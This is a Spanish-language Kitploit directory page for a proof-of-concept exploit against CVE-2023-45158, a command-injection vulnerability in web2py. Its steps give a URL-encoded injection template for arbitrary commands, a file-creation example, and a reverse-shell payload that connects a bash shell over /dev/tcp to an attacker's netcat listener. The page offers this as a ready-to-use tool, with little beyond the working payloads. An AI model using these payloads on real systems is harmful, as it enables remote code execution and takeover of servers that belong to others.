Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-45158 — Prueba de concepto de exploit para CVE-2023-45158, una vulnerabilidad de inyección de comandos en web2py. Demuestra la ejecución remota de código mediante solicitudes HTTP manipuladas, incluyendo la creación de archivos y payloads de shell inversa. | Kitploit
Herramientas/GitHubGitHub/yifanzhg/cve-2023-45158
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y Control
GitHubyifanzhg/cve-2023-45158

CVE-2023-45158

Prueba de concepto de exploit para CVE-2023-45158, una vulnerabilidad de inyección de comandos en web2py. Demuestra la ejecución remota de código mediante solicitudes HTTP manipuladas, incluyendo la creación de archivos y payloads de shell inversa.

Ver Repositorio
411hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-45158

Pasos

  1. Ejecuta el servidor web
root@kitploit:~
cd web2py
python3 web2py.py
  1. Inyecta tu comando usando la URL http://<IP-ADDRESS>:8000/hack?msg=%27%3B<YOUR-COMMAND>%3B%27. Reemplaza <IP-ADDRESS> y <YOUR-COMMAND> con tus valores.

Ejemplos

  1. Crea un archivo en el servidor

http://<IP-ADDRESS>:8000/hack?msg=%27%3Btouch%20hack%3B%27

  1. Shell inversa

En la máquina del atacante, ejecuta nc -l 127.0.0.1 8080

Ve a la URL http://<IP-ADDRESS>:8000/hack?msg=%27%3Bbash%20-i%20>%26/dev/tcp/<ATTACKER-IP>/8080%200>%26%201%3B%27. Reemplaza .

<ATTACKER-IP>
Descargar herramienta